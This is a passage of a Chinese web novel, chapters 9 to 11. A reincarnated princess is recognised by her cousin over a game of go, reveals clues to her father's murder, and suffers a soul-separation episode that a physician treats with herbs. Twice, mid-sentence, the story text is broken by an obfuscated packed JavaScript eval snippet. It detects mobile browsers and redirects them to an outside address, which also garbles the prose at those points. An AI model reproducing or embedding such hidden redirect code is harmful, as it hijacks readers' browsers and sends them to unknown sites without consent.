宝儿见状,却着了急,向前几步拦住她,又羞又愤道:“娇娇儿,不要生气,我全告诉你就是。” 柳眉妩垂下眼睫,停步看他。 “我确实不认识叶灵儿,没有骗你。不过……在你遇害后,做过一个乱七八糟的梦,梦里和她有些纠葛。但那真真儿是个梦,梦醒之后什么都不作数,我什么都不认的。你若是因为梦里的事怪罪我,那我就太冤枉了。 “我也不是成心要瞒你,只是觉得无关紧要的事情犯不着说,而且说了你还可能不舒坦,就更不值当了。但现在,你因为这件事情已经生气了,我也就管不得这些了。” 宝儿的话,乍听确实惊世骇俗,难以置信,但只要是宝儿说的,她就信。且说到惊世骇俗,比起前世旧梦,自己借尸还魂死而复生,岂不是更加怪力乱神,有过之而无不及。 可就是这样怪力乱神的无稽之谈,宝儿却很快相信,不问前因,不计后果。只因她是柳眉妩,只因两小无嫌猜。既如此,她又有何理由怀疑宝儿。 “天地良心,我和叶灵儿清清白白,此生此世,我宗宝只喜欢娇娇儿一人,绝无二心。若违此誓,”宝儿一手揉眼睛,一手指着池子咒道,“明儿我就天打五雷轰,栽进池子里,变个大王八,被你敲一辈子壳,永世不得超生!” 柳眉妩哭笑不得,见他急得说话直打嗝,忙拿了帕子给他擦眼泪,一面拍背顺气,一面哄道:“好好儿的又哭什么,把福气都哭没了。” 宝儿见她松口,连忙抱住她不撒手,脑袋抵在柳眉妩肩头乱拱,鼻音嗡嗡嘤嘤,“娇娇儿不气了,我就不哭了,好不好?” “好好好。”柳眉妩只得服软,“不气了不气了,早就不生气了。” “真的?”宝儿抬起眼看她,眼珠黑又亮,带着水意,一闪一闪的,“那娇娇儿和我拉勾,好不好?” “拉勾,上吊,一百年,不许变。” 宝儿得了承诺,乐滋滋收回手,很快又张开,将她抱得更紧了,柳眉妩差点一口气没上来。胸腔处感知一阵剧烈颤动,耳边听到宝儿哼哧哼哧的笑,以为这小祖宗终于转悲为喜了,结果千挣万扎好不容易掰开宝儿的手,却见眼前还是个泪人儿模样。 “宝儿,怎么还哭?”柳眉妩无奈了。 宝儿抹泪,“我觉得对不起娇娇儿。还说要为你守一辈子节,结果才放话说和叶灵儿没有私情,转头就抱着人家不放手。” “对哦,宝公子,你方才发了那么毒的誓,不怕明天应验啊。”柳眉妩伸出手,揉了揉他的脸。 “可我忍不住。你是娇娇儿,无论变成什么模样,都是娇娇儿。只要是娇娇儿,我就情不自禁。”宝儿委屈巴巴地眨眼,伸手按住脸上作乱的手,却不拿开,而是将脸贴得更紧,视线也黏在她脸上,“娇娇儿,我想亲亲,好不好?” “不好哦。” “哦。” 宝儿垂着眼,牵下柳眉妩的手,温热呼吸吐在手上,痒得她指节微蜷。他的头忽然低了下来,低到手心,贴上手心,陷入手心,轻轻印了个吻。 又一触即分。 风乍起,吹皱一池春水。 9. 相认(二) 东花厅四面设窗,左右有回廊相连,是时洞开,风流贯通。白御史坐在南窗下,手内拿一点云子,一下下敲着案上的棋盘。 十三收了凉茶,捧来热茶,白御史却不接杯,也不抬眼,只管摩挲指间的黑子,慢慢地问:“人还没接来吗?” 一面说,一面放手要接茶时,却见宝儿已带着人在近旁站住了。这才想要转身,犹未转身时,伸手拿过自己的茶杯,再没了要转身的意思。 柳眉妩却不见外,径自走到南窗下,低头看了半晌,断言道:“白子穷途末路,已成枯棋了。” “死棋腹中,未必无仙着。”白御史放下茶杯,似笑非笑,“叶小姐也懂棋?” 宝儿眉心一跳,飞快看了眼柳眉妩。 一向眼高于顶的四公主难得沉默起来,目光飘忽半晌,定在白御史腰间的仙鹤玉坠子上,才慢吞吞道:“不敢说,略知一二罢了。” 宝儿忽然咳起来,面色涨得通红。柳眉妩此言非虚,却也不实,口上说的是略知一二,实则还要再四舍五入一番。毕竟,四公主是出了名的臭棋篓子。 “不知叶小姐可有雅兴,与某手谈一局?” 柳眉妩两眼放光,欣然答应。 宝儿又咳了几声,又急又促,惹得众人注目。他忙背过身去,肩膀咳得一耸一耸,听着却像是在笑。白御史心中有疑,却也没作多想,垂眼将收回的视线落到对面。 博弈有道,贵在谨严。棋经有云,高者在腹,下者在边,中者占角。柳眉妩别的不记,就记一句“宁输数子,勿失一先”。落了坐,也不欠身,也不猜先,执白座子后,起手便落天元。 白御史挑眉。 继而小飞挂角。 宝儿扶额。 然后双飞燕。 十三也侧目。 柳眉妩却好似浑然未觉,笑盈盈收回仙鹤指,等白御史动作时,顺手端过茶杯施施然润起了喉。 无故让了三子又失了茶杯的白御史终于回过神来,看看她,又看看宝儿,目光探究。不过很快,他的探究便有了答案。 柳眉妩下棋随意,没有章法,却有习惯,尤爱扑后接不归,妄图置之死地而后生。不料几个回合后,一子落错,攻守之势异也,当即拿起棋子就要再落,“不对不对,下错了,我缓一步,换到这儿。” 十三看不下去了,“叶小姐,落子无悔。” 柳眉妩不以为意,“小十三,观棋不语。” 十三便果真无语了。 白御史摇头失笑,低头看一眼似曾相识的稀烂棋局,笑得更无奈了,“怪哉,叶小姐怎么只攻不守?” “进攻,是最好的防守。”柳眉妩不以为然,随手将下错的白子再拿起,笑嘻嘻道,“再缓一步,换到这儿。” 白御史没有拦她,尽管她已经不知缓了多少步了。他思索片刻,执子正要落定,忽然被一只手伸来拦住,“你别下这儿,我下一步要走这里。哎,也别走这儿,我下下步要走的。喏,你下这儿吧。” 阿大送客回来,便是见到这副情景。 食本不语,手谈更要默不作声,叶小姐却一面喝茶用点心,一面堂而皇之地耍赖悔棋。口中鼓鼓囊囊,说话不清,语气却熟稔,听起来理所应当极了。 更吊诡的是,自家爷只是略一停顿,便听话地下在了叶小姐指的地方,丝毫没有异议。再看宗世子和十三,两人默立在旁,神色如常,仿佛早已见怪不怪。 一个,两个,三个,面色无不正常。可就是太正常了,反而显得格外不正常。 柳眉妩不知几人所想,也无暇顾及他们感受。因为技不如人,她急得抓耳挠腮,冥思苦想不知道落在哪里,才能妙手回春。 白御史见她为难模样,低头看一眼棋局,无声叹了口气。排兵布阵,稀烂如斯,便是棋圣在世也束手无策了。半晌,他从棋罐里拿出两颗黑子,摆在棋盘上,主动投子认输。 动作熟稔,一如既往。 可即便如此,柳眉妩却无半点意外欣喜,只是盯着棋盘某处,哀嚎道:“怎么会这样!明明我这一手下得这么好!只要神龙摆尾,就能让你四面楚歌,杀得片甲不留!” “边不如角,角不如腹。座子占角没有问题,但你太热衷挂角拆边了,开局双飞燕,然后更是只攻不守,以致中腹空虚。如此一来,即便外势再得利,实地不济,也只能是无力回天。”白御史淡声道,“不必到官子,中盘已成败局。” 柳眉妩垂眉耷眼,作苦恼状。 “一眼死,多眼活,你这处虽有多眼,却是假眼。”白御史一面执黑落下,一面耐心解释,“假眼无气,无气则杀棋,所以你的神龙来不及摆尾便已气绝身亡。” 柳眉妩不甘心,“这局不算,再来!” 白御史招手要来新茶,“还是不了吧。” 柳眉妩不依不饶,“为什么不?你是不是输不起!” “到底是谁输不起?”白御史摇头,有些哭笑不得,“赧莫赧于易,耻莫耻于盗。妙莫妙于用松,昏莫昏于复劫。娇娇儿,回去好好练练你的棋术。下次再这般反复打劫,耍赖悔棋,可别跟人说是我教的你。” 柳眉妩哼一声,随即反应过来,瞪大了眼,又惊又喜道:“二哥哥,你认出我了!” 东方凌云笑着看她,缓缓点头。 难怪易安堂初见时叫他“二哥哥”,难怪将军府宴席上总是偷偷看自己,难怪御史府外通传要找“二哥哥”,桩桩件件,无不巧合。只是,他虽心有疑窦,却不敢妄下定论,直至手谈终了,才敢确信。 毕竟,一个人就算姓名会变,容貌会变,性情会变,可举手投足间的气质却不会轻易改变。更何况,这般不讲棋道的臭棋篓子,有且只有一个娇娇儿了。 可乍然对上一双陌生泪眼,怜爱有之,好奇亦有之,“话说回来,娇娇儿,你怎会变成这副模样?” 不问还好,一问反而不可收拾。柳眉妩情绪如潮,迷茫,委屈,害怕,愤恨,齐齐翻涌上腾,眼泪再也忍不住,直扑到东方凌云怀里哇呜大哭。 东方凌云猝不及防,被扑得仰倒在榻,又怕柳眉妩磕到噎到,忙搂着人拍背顺气儿,“不问了,二哥哥不问了。娇娇儿不想说,不说就是了。” 柳眉妩没说想,也没说不想,放声哭了一场。哭累了,便将自己缩身躲在二哥哥怀里,闻到熟悉的降真香,才觉稍稍心安。 她的声音低哑,闷在鼻间,也闷在东方凌云衣襟,断断续续地道:“我也不知道。我只记得很困,想睡觉,眼皮越来越重,我好痛,也好怕,然后就睡着了。我好痛,我的心口好痛,我的眼皮好重,再醒过来,就成了叶灵儿。” 她说话颠七倒八,浑身也止不住地抖。 东方凌云没等听完,就红了眼眶,心跳怦怦,尚有余悸。一面暗恼自己揭娇娇儿伤疤,一面强忍着哽咽哄人,“没事了,娇娇儿,没事了。定是姨父在天有灵,不愿姨母白发人送黑发人,也不愿我们一家天人永隔。” 听到爹爹,柳眉妩猛地想到什么,起身抹了把眼泪,正色道:“二哥哥,我知道杀害爹爹的幕后主使是谁。” “当真?” 柳眉妩确定一定以及肯定。她重重点头,咬牙切齿道:“杀父杀身之仇,九死不忘!他们口称圣人,狼子野心昭然若揭,想必不是乱臣,便是贼子。” 古语云,才德全尽者,谓之圣人。放眼天下,唯有九五至尊可堪此称。但柳眉妩不傻,于情于理,她都不信,杀爹爹又杀自己的幕后主使会是大哥哥。 东方凌云自然也不信,“在我大新境内,先杀丞相,再杀公主,逃之夭夭,竟无半点蛛丝马迹。此等逆贼不除,祸患不消,久之则皇兄危矣,社稷危矣。” 柳眉妩忽然摇头,“并非没有蛛丝马迹,爹爹留下了三卷手札。” 东方凌云和宝儿对视一眼,惊异道:“哪三卷?” 柳眉妩还是摇头,“不是收归大理寺的手札,是失踪了的三卷手札。我比对了爹爹所有巡察手札的日期,又按着舆图一个郡一个县地找,这才发现少了三个郡的记录。” “竟有此事?” “千真万确。我微服私访,也是为了打探手札的下落,却不知怎么行踪泄露,被一行死士追杀。”柳眉妩顿了顿,语气愤慨,“说到这里,我还是觉得不可思议,我慌不择路跑进了南山林,但他们仿佛早有预料,提前在林中备好了弓箭人手,就好像,守株待兔一般。” 想到柳眉妩万箭穿心的死状,又听她娓娓述说自己的死因,东方凌云只觉得心惊肉跳,“娇娇儿,兹事体大,你怎么不与我们商量就擅自行动?” “就是因为兹事体大,我才不想打草惊蛇。多一个人知道,就多一份危险;少一个人知道,才多一份安全。” 事已至此,多说无益,且娇娇儿性子倔,一旦认了死理,谁劝也没用。东方凌云长舒一口气,闭目不与她争辩,而是转移话题道:“是哪三个郡?” 柳眉妩瞬时眉眼凌厉,飒飒如寒刃覆霜,她的声音切冰断雪,一字一顿地道:“豫章郡,苍梧郡,零陵郡。” * 发现重大,刻不容缓,东方凌云当即修书一封,又命阿大亲自护送,六百里加急回长安,面圣呈见。 柳眉妩终于止住泪,眼圈儿却还是红红,她一面揉眼,一面问出重生以来最想知道的问题,“我死之后,娘亲过得好吗?” 东方凌云叹息,语气怆然,“你的尸骨运回长安后,姨母哭了一场,晕了一回,醒来便将自己关在佛堂,日夜诵经,不见生人。只在你出丧那日出了佛堂,送你下葬,然后又将自己关了起来。我离京时去看过姨母,但姨母没有见我,也没有出佛堂。” 柳眉妩眼中酸涩,忽然想到一个场景。 夕阳之下,灵堂之上,娘亲一面帮爹爹整理遗容,一面絮絮地哭:“柳郎,你放心去吧,府里有我呢。生,我永不节哀;死,我绝不安息。” 只是如今,让娘亲生不节哀死不安息的人,又多了一个她。 柳眉妩鼻头发酸,喉咙梗塞,簌簌又落下泪来。宝儿抱着她,一面帮她擦泪,一面跟着哭,结果悲不自胜,哭得比她还伤心。 柳眉妩哭得断断续续,“你哭什么?” 宝儿也断断续续地哭,“娇娇儿哭什么,我就哭什么。” 于是两人抱在一起哭个不停,十三看得眼圈也泛红,还是东方凌云好说歹说把人劝住,“好了好了,都别哭了。娇娇儿,要是不放心,就让十三先送你们回去。” 柳眉妩抹了把泪,“二哥哥不回吗?” 东方凌云摇了摇头,神色凝重道:“我还有事。” “是白御史的事吗?” 东方凌云点头,似叹非叹,“微服私访,最难把握分寸。站得高,看不见底下腌臜;站得低,又扫不清路上尘垢。御史一职,虽不理庶政,但代天子巡狩,察纠百司官邪,不高不低,恰到好处。” 柳眉妩泪眼朦胧,心思却清明,一想便了然,“二哥哥是为了新娘枯尸案吧。” “是,也不是。” “那我不回去,我要和你一起查案。”她扬起头,语气颇有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268964|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骄矜,“我可是长安第一玉面神探。” 虽然是自封的。 东方凌云摸摸她的头,“娇娇儿,不要胡闹。此案凶险,不可儿戏,和你又没有关系,能避则避。” 柳眉妩不服气,“和我没有关系,难道和二哥哥就有关系了吗?” 说完她便愣住了。 因为她忽然想到二哥哥的另一重身份,瞬时恍然大悟。难怪他改了身份,又换了姓氏,说什么白御史,不正是用了白云飞的名号么? “此案既惊动了你,便不是寻常命案。二哥哥,可是王不留行有什么问题吗?”她顿了顿,忽然想到什么,又问,“他是白术吗?” 那日南山林中,其实她骗了杨无名。她确实曾在哪里见过王不留行,却不是在叶茂的敦煌笔记里,而是在东方凌云的武林风华录中,王不留行排恶榜第一。 可就是这样一位令江湖中人闻风丧胆的恶榜第一,东方凌云谈及却神色自若,“不知道,也不重要,左右不过一个名号,是谁都行。王不留行再恶,也是个人,是个凡人,不是妖魔鬼怪,也没有三头六臂,既如此,便不足为惧。只要我们将鬼见愁收了,他便掀不起风浪。” “那要怎么收了鬼见愁呢?” “净化为上,封印次之,销毁最下。” “那要怎么引出鬼见愁呢?” “还在商榷。” “商榷?”柳眉妩站久了便累,颤巍巍坐回原来的位置,一面捶腿,一面恍然道,“所以,你找杨将军和爹……叶老……爹,就是为了商榷这件事?” “是,也不是。此事只是其一,还有其二。” “其二是什么?”柳眉妩伸直了腿,方便宝儿帮她按摩揉捏。 “姨父遇害后,皇兄接连噩梦,隐隐觉得天下已然出现乱象,便想重置大将军和太平相。皇兄本意是想让杨将军重新出山,接管杨家军,但杨将军执意说自己上了年纪,不能胜任了。他们各执己见,皇兄劝不动,杨将军也拗不过,最后两人各退一步,只好把主意打到了杨无名身上。” “我倒是听叶老爹提过,杨无名七岁离家,拜入红袖山,一去就是十年,前段时间才学成归来。此人虽有家世,也有师承,或许也有些身手,但毕竟年纪轻轻,既不曾在沙场建功,也不曾在军营历练,如此贸然接管杨家军,怕是不能轻易服众吧。”顿了顿,她忽然想到另一个人,忍不住建议道,“还不如让顾思义试试呢。” 东方凌云却不以为然,“虎父焉有犬子。” 柳眉妩本就只是随口一说,二哥哥不同意,她也无所谓,很快就换了话题,“那太平相呢?” 东方凌云不答反问:“娇娇儿,你对你这个叶老爹了解多少?” “寻仙人采仙草炼仙丹。”柳眉妩几乎脱口而出。 “可曾听过叶江柳海?”东方凌云缓声道,“叶才如江,柳才如海。柳海是姨父,叶江便是叶子林。” 柳眉妩瞪大了眼。 她自然知道爹爹一生有多传奇。斗南一人,举世无双,生晋太傅,死谥文正,长安的街头巷尾几乎传遍了他的丰功伟绩。 爹爹年少成名,有神童之称,十七岁便连中三元,是多少闺中女子的梦中檀郎。那时,身为忠义侯的外祖父榜下捉婿,又有皇上姨父亲自赐婚,于是爹爹娶了娘亲。五年后,官拜太平相。 柳眉妩一直觉得,爹爹惊才绝艳,风华绝代,无人可与他匹敌。柳才如海,爹爹实至名归,汪汪如万顷之陂,澄之不清,扰之不浊。可二哥哥却说,叶江柳海。若一定要寻个人与爹爹相提并论,叶茂便是那个有且仅有的存在。 “叶才如江,怎么理解?”柳眉妩不理解。 东方凌云娓娓道来:“父皇在位时,承袭旧制,律法森严,明令禁止商人之子参加科考。叶子林本是商贾出身,十五岁涂名考试,诗才政论皆是第一。他这种情况,放到现在,破格高中也无可厚非,只可惜生不逢时。 “那时候,父皇驾崩,皇兄初初登基,政权未稳,虽有外祖和姨父支持,到底是有心爱才却无力保人。最终,叶子林在一众弹劾声中,因知法犯法褫夺状元身份,又因扰乱考纪被罚百金,勒令终身不得再返长安。” 柳眉妩不解道:“可是,商人之子不能科考的先律,后来不是被大哥哥变法废除了吗?如今士农工商都能科考,叶老爹没再考过吗?” “何止没再考过。”东方凌云叹道,“皇兄根基稳固后,励精图治,变法维新,不仅为他平反正名,还曾千里迢迢派人请他出仕,却被他拒绝了。 “他自称是清都山水郎,此身只愿曳尾于涂中,再无心名利场。皇兄叹兮惋兮,到底还是尊重了他的选择,放他归还山水,任他游仙方外。后来叶家西迁,这才渐渐断了联系,少了消息。” 柳眉妩张口哑然。 她难以想象,如今这个不问红尘不慕名利的叶老爹,年少时也曾有凌云志,自诩人间第一流。 岁月当真无情,逝者如斯,不舍昼夜。 窗外有云聚了又散,化成风,不知吹落谁的叹息。飘进红泥火炉中,又从沸腾翻滚的茶壶嘴儿散出来,水汽慢慢模糊了眉眼。 宝儿为柳眉妩倒来热茶,眼睁睁看着娇娇儿转身伸手就要接杯,又见她猝不及防轰然倒下。 “娇娇儿!” “四公主!” 宝儿急忙丢开茶杯,趔趄扑倒着接住她。轻飘飘一团,如飞絮沾身,如浮萍入怀,几乎感受不到重量。 她身上的石榴裙明艳如火,那张陌生又美丽的脸上却苍白如纸,没有血色。 10. 离魂 柳眉妩伸手接茶,还没接到,忽然听到几人惊慌失措的声音,吓得缩回了手,奇怪道:“怎么了?很烫吗?” 抬眼望去,却见另一个自己软软倒下,伴着碎瓷声响,落在宝儿怀里。她愣了半晌,才想起走近去看,那张陌生又熟悉的脸上血色褪尽,白得吓人。 她的眼皮骤然一跳。这一幕,明明怪力乱神,却有些似曾相识。不是在镜中,也不是在水里,而是在眼前,她在眼前切切实实见到了另一个自己。 她歪着头,伸手在宝儿眼前晃了晃,“宝儿,我在这里。” 可宝儿仿佛听不到,也看不到。他将另一个她小心翼翼地放在榻上,转头朝十三吩咐:“去回春堂,请薛大夫。” “是。” “十三,我在这里。” 柳眉妩喊着,伸手想拉十三,却拉了个空。只好眼睁睁看着十三穿过自己,像鱼儿穿过一道无波无澜的水屏,摆尾处泛不出半点涟漪。她迈步跟上,身子却轻盈如飞羽,霎时便飘出好远。 日头渐西,暖而不灼,庭院在鸟鸣声中被拉出长长的影子。柳眉妩站在光下,伸手可见天边的云,云下的树,树下匆匆而去的十三。 那样远,又那样近;那样模糊,又那样清晰。不是从指缝之间,也不是从手掌之外,而是穿过抬起的手,透明的手,看得一清二楚。 她又惊又慌,下意识跺脚,脚却浮在半空中,落不到实地,仿佛踩在松软的云端。低头看去,见不到半点影子。 柳眉妩后知后觉,隐隐觉出害怕,也不管十三了,转身飘回东花厅,径自扑到最近的宝儿怀里。 东方凌云看着宝儿忽然僵直的上身,疑惑道:“你怎么了?” 宝儿也疑惑道:“不知怎么,忽然觉得有些冷。” 东方凌云更加疑惑道:“没起风,也没降温,怎么会冷?” 回答他的,是宝儿猛不丁打了个寒颤,牙齿也很快哆嗦起来,“说不上来,这冷仿佛是从骨子里透出来的。” 柳眉妩默了默,收回在宝儿身上穿梭玩耍的手,又站得离他远了些。果不其然,很快又听到宝儿疑惑的声音响起,“奇怪,这会儿又不冷了。” 闲话的空当,十三将薛大夫请来,小六、小七、小九和十二得了消息,一股儿也全跟了进来。 薛大夫见到她,有些惊讶,“叶小姐如何会在御史府?” 小九性子急,忙催促道:“薛大夫,先别管这个如何了,快看看叶小姐的身子如何吧。” 薛大夫想了想,应一句“也是”,提着药箱转入屏风后,为她把脉诊断,片刻过去,面色却忽然变得凝重起来。 东方凌云问:“薛大夫,娇娇儿怎么了?” 薛大夫反复验脉,半晌才回道:“白大人,叶小姐已经去了。” 柳眉妩张口愕然。 宝儿当即跳了起来,“怎么可能!娇娇儿明明刚才还好好的,生龙活虎着呢。” “薛某诊断再三再四,千真万确,错不了的,叶小姐确实大概已经去了。”薛大夫从屏风后缓步走出,“宝公子不信,大可让人摸摸叶小姐的后背。” 宝儿正要挽袖,被小六抢了先机,很快,屏风后传来一道讶异的声音,“叶小姐出了好多汗。” 东方凌云面色冷凝,皱着眉问道:“确实就是确实,大概就是大概,什么叫确实大概已经去了?” “摸背绵滑黏腻,绝汗如油;把脉忽来忽去,止而复发。”薛大夫叹息一声,摇头解释道,“白大人,这是死脉。” 小九急忙啐道:“呸!庸医!” 小七喝道:“九儿,不得无礼!” 小六也道:“薛大夫,叶小姐还有体温呢,是不是弄错了?” 薛大夫看了小九一眼,继续摇头,“叶小姐已无脉搏,也无呼吸,还有体温,不过是因为去的时间尚短,身子不曾僵冷罢了。” 宝儿听了,放声哭一句“娇娇儿”,身子一晃,喷了口血出来,随后两眼一白,咕咚就倒了下去。 众人又惊又惧,一阵手忙脚乱,才想起薛大夫在,忙请薛大夫来看。薛大夫也不拿乔,替宝儿诊了脉,眉头皱了又舒,“宝公子无碍,不过气急攻心,脾火上行,所以吐血晕倒了。待抓些补心丸、归脾汤吃着,将养几日,便可好全了。” 十三最先回过神来,拉着薛大夫的衣角便跪了下去,叩头求道:“薛大夫,我听他们说,您是蜀郡最好的大夫,是神医,是华佗再世,扁鹊重生。请您再想想办法,救救叶小姐吧。” “你这是做什么,快起来!有法子我自然会说,”薛大夫顿了顿,“但是,此法能不能行,目前尚无人验证,我也不能保证。” 十三转头看向东方凌云,柳眉妩也下意识看向二哥哥。东方凌云听了,几乎是毫不犹豫地道:“但凭薛神医吩咐,多少银两都不是问题。” 薛大夫摆了摆手,“白大人误会了,不是银两的问题。只是,这方子没人试过,薛某不知真假,故不能保证灵验。说句难听的话,这是没有办法的办法,如今一试,也只是死马当成活马医了。” 说完,他指了指跪着的十三,“你既有心,再去回春堂一趟,让决明抓桂心二两、麻黄三两、杏仁七十粒、甘草一两,再把还魂草一并拿来。” “好。” “记住了吗?没记住我写张方子。” 十三重复道:“甘草一两,桂心二两,麻黄三两,杏仁七十粒,并还魂草,去回春堂让决明抓了拿来。” “你倒有些想法。”薛大夫又看了他一眼,赞赏道,“记得不差,那便去吧。” “是。” 十三疾步去了,东方凌云和薛大夫坐着等他,小六奉茶。薛大夫接过茶杯,看她一眼,安慰道:“不必忧心至此,叶小姐吉人自有天相。” 小六没说话,左手按住右手,两只手却还是止不住地抖。 十二上前拉过她的手,小声道:“六姐,和我去烧香吧。天后娘娘神通广大,定能保佑叶小姐逢凶化吉,平安醒来。” * 柳眉妩再醒来,已是掌灯时分。 在一片“谢天谢地叶小姐终于醒了”和“多谢薛神医妙手回春”的道谢声中,她睁眼看到房顶横梁,在昏黄烛火下透出古旧的木色。 “娇娇儿,好些了吗?” 东方凌云挽袖,俯身摸了摸她的脸,摸到一手的冷汗。 柳眉妩闻声看向二哥哥,一股儿从榻上坐起,抱住他的腰身,闻到熟悉的降真香,才慢慢放下心来。 东方凌云拍着她的后背,温声哄道:“醒了就好,娇娇儿,没事了。” 柳眉妩又惊又怕,还没说话,眼眶已先红了,声音更是哑得不行,“二哥哥,我以为你再也见不到我了。” 这话说得有些不合常理。东方凌云听了,却没多想,只当她初初醒来说胡话,没和她一般计较。 柳眉妩缓了片刻,忽然掀开薄被下榻,满头冷汗尚且顾不得擦,便向屏风后的薛大夫行跪礼谢道,“多谢薛大夫赠药相救,救命之恩,灵儿没齿难忘。” “使不得,叶小姐快快请起。治病救人,乃医者分内之事。何况,那株还魂草本就是叶老爷送来回春堂的,如今叶小姐用了,刚好物归原主,算不上赠药。”他抬手的动作忽然顿住,目光炯炯地望向屏风后,问,“不过,叶小姐,你是怎么知道赠药的?” “因为我一直都在。”柳眉妩喘着气,被十三扶起身,擦了擦额角冷汗,又拢了拢鬓边湿发,才继续道,“我能看到你们做什么,也能听到你们说什么。只是,你们看不到我,也听不到我。” 众人惊愕不已。 “我没事了,我去看看宝儿。”柳眉妩提步要走。 “原来如此!”薛大夫忽然拍手笑道,“难怪还魂汤和还魂草这么有用,叶小姐真是患的离魂之症。” 柳眉妩顿住步子,“何为离魂之症?” “离魂之症起于心肝气郁,又兼肾脾两伤,所以水火不交,患者觉得身体一分为二,他人不见而自己独见。”薛大夫解释道,“此病不常有,十之不过一二,我也只在书上见过。方才给的方子出自千金方,桂心入肝以招魂,麻黄入肺以通魄,杏仁入络 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268965|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以降逆,甘草入腑以缓暴。好在奏效,暴逆散而魂魄安,叶小姐才能还魂醒来。” 东方凌云问道:“薛神医,此病可有根治的法子?” “书上有言,若要根治,必须舒肝气之郁,滋心气之燥,缓肾气之旺,兼培脾土,使脾血得养。待肾水润而肝不燥,脾血旺而心不枯,便自然生津而目一,神安而魂归了。” “听不懂。”十三挠挠头,神色迷茫。 薛大夫笑了笑,“一言以蔽之,尽人事,听天命。” 十三于是了然,看一眼柳眉妩,又看一眼东方凌云,最后才看向薛大夫恭敬回道:“如此,多谢薛神医了。” 薛大夫不置可否,忽然说:“你叫十三?随我再去一趟回春堂,抄两副方子回来。” 十三脚下一顿,扶着柳眉妩的手却没松开,口中道:“我送完叶小姐便去。” “可耽误不得。”薛大夫看着他,似笑非笑,“你的伤再拖延,恐怕就要落下病根了。” 柳眉妩停住步子,转头看向十三,“十三,你伤哪儿了?” 十三道:“我确实受了些小伤。” “我问你伤哪儿了?” “很久之前,不小心伤的。” “……” 她问,他便答,句句有回应。只是驴唇不对马嘴,风马牛不相及。 柳眉妩被气笑了,话音却带着冷哼,不容置喙地道:“去,就现在。” 十三默了默,偷偷抬眼瞧她神色,知道没有转圜的余地,只好垂手听命,跟在薛大夫身后不情不愿地离开了。 “四公主……”小七忽然叫她,欲言又止。 几人来时便得知了她身份,不过碍于薛大夫在场不好明示,这会子没了外人,自然该怎么称呼便怎么称呼。人死复生,借尸还魂,虽说匪夷所思,但既然爷、宗世子和十三都认定她是四公主,他们便也信了。 小七打量着她的神色,犹犹豫豫地开口解释:“此事并非十三不愿意说。只是,说来确实有些难为情。” “十三伤在臀股之间。”小九接话。 柳眉妩瞬间了然,转头看向东方凌云,“二哥哥,你为何要杖刑十三?” 东方凌云气定神闲,慢悠悠喝了口茶,才回她道:“并非我要杖刑十三,是他自己负杖请罪,一定要领五十大板。我不愿打,他偏要挨,轴的呀,和某个人如出一辙,也不知是福是祸。” 柳眉妩继续问:“谁打的?” 东方凌云但笑不语。 柳眉妩便有了答案。 小七摸摸鼻子,“四公主,你别这么看我,我和九儿确实是放了水的。” 柳眉妩自然知道,杖刑责罚是门学问,轻重缓急都有讲究。主子留情时,雷声大雨点小,意思意思杖臀几下,休养几日便可好全。可若是主子不留情面,便是塞住嘴巴捆住身子,褪衣杖脊。如此一来,别说五十大板,五大板结结实实受下来,都能去半条命。 可既然二哥哥无意责罚,小七小九也无心刁难,就算伤筋动骨一百天,十三也不至于伤成薛大夫所说“落下病根”的程度吧。 正百思不得解,又听小九道:“四公主,是苏三公子。十三没还手,受了他三十鞭子,当场就皮开肉绽了。加之杖伤未愈,难免有所牵扯,伤上加伤,所以就严重了些。” “苏适啊。” 柳眉妩垂目,眼睫轻扇,掩下眼底情绪,几人却还是在她一声冷哼中品出几分恼怒之意。 十二又道:“四公主,并非我偏袒十三,但此事确实是苏三公子的不是。他当街纵马,路上小儿避之不及,十三也是迫不得已才用针折了马蹄。苏三公子惊了马,当众出丑,落不下脸,便怀恨在心,想方设法地刁难十三。” “十二,你不用说这么多,就是偏袒了又如何?说起偏袒护短,长安谁不知道我的名号?打狗还要看主人,苏适敢这么肆无忌惮地仗势欺人,不过就是看着我死了,再没人护着十三。” 她的声音清脆,在夜里听来有股断冰切雪的冷意,“你以为他打的只是十三吗,他是在打我的脸。” 11. 围炉 柳眉妩被墙外的初更声惊醒,正身坐起,一面打呵欠,一面揉眼睛。惺忪视线中,恍惚看见宝儿的眼珠在眼皮下轻轻滚动。 她眨了眨眼,蓦地对上另一双眼。 如青崖凛,如寒潭幽,闪着乌黑细碎的光。初时云遮雾绕,眼神带些将醒未醒的迷蒙和惘然。聚焦后云消雾散,冷意泛出,转而变得警惕。看清她了,云雾又一点点漫成水汽,盈在两弯月牙泉里,清凌凌让人移不开眼。 柳眉妩也没想移开眼,只是叹气,“怎么又哭了。” 宝儿哑声叫她:“娇娇儿。” “我在。”柳眉妩看着他,俯身帮宝儿擦了眼泪,又伸手轻轻抱住他。一时间,谁也没再说话。 温热呼吸喷在脖颈,升起细细密密的痒,交颈依偎,分不清谁在颤抖。还是柳眉妩耐不住痒,缩了脖子,正要躲开,忽听宝儿轻声开口:“不要再丢下我,好不好?” 她的动作一顿。 宝儿继续道:“娇娇儿,我们生同衾,死同穴,一起跟巧娘娘起过誓的。你要再有个三长两短,我也不活了。” “我答应你,不会再丢下你。”柳眉妩垂下眼帘,应他前言,“但你也要答应我,要好好活下去。不管我有没有三长两短,你都要好好活下去。” 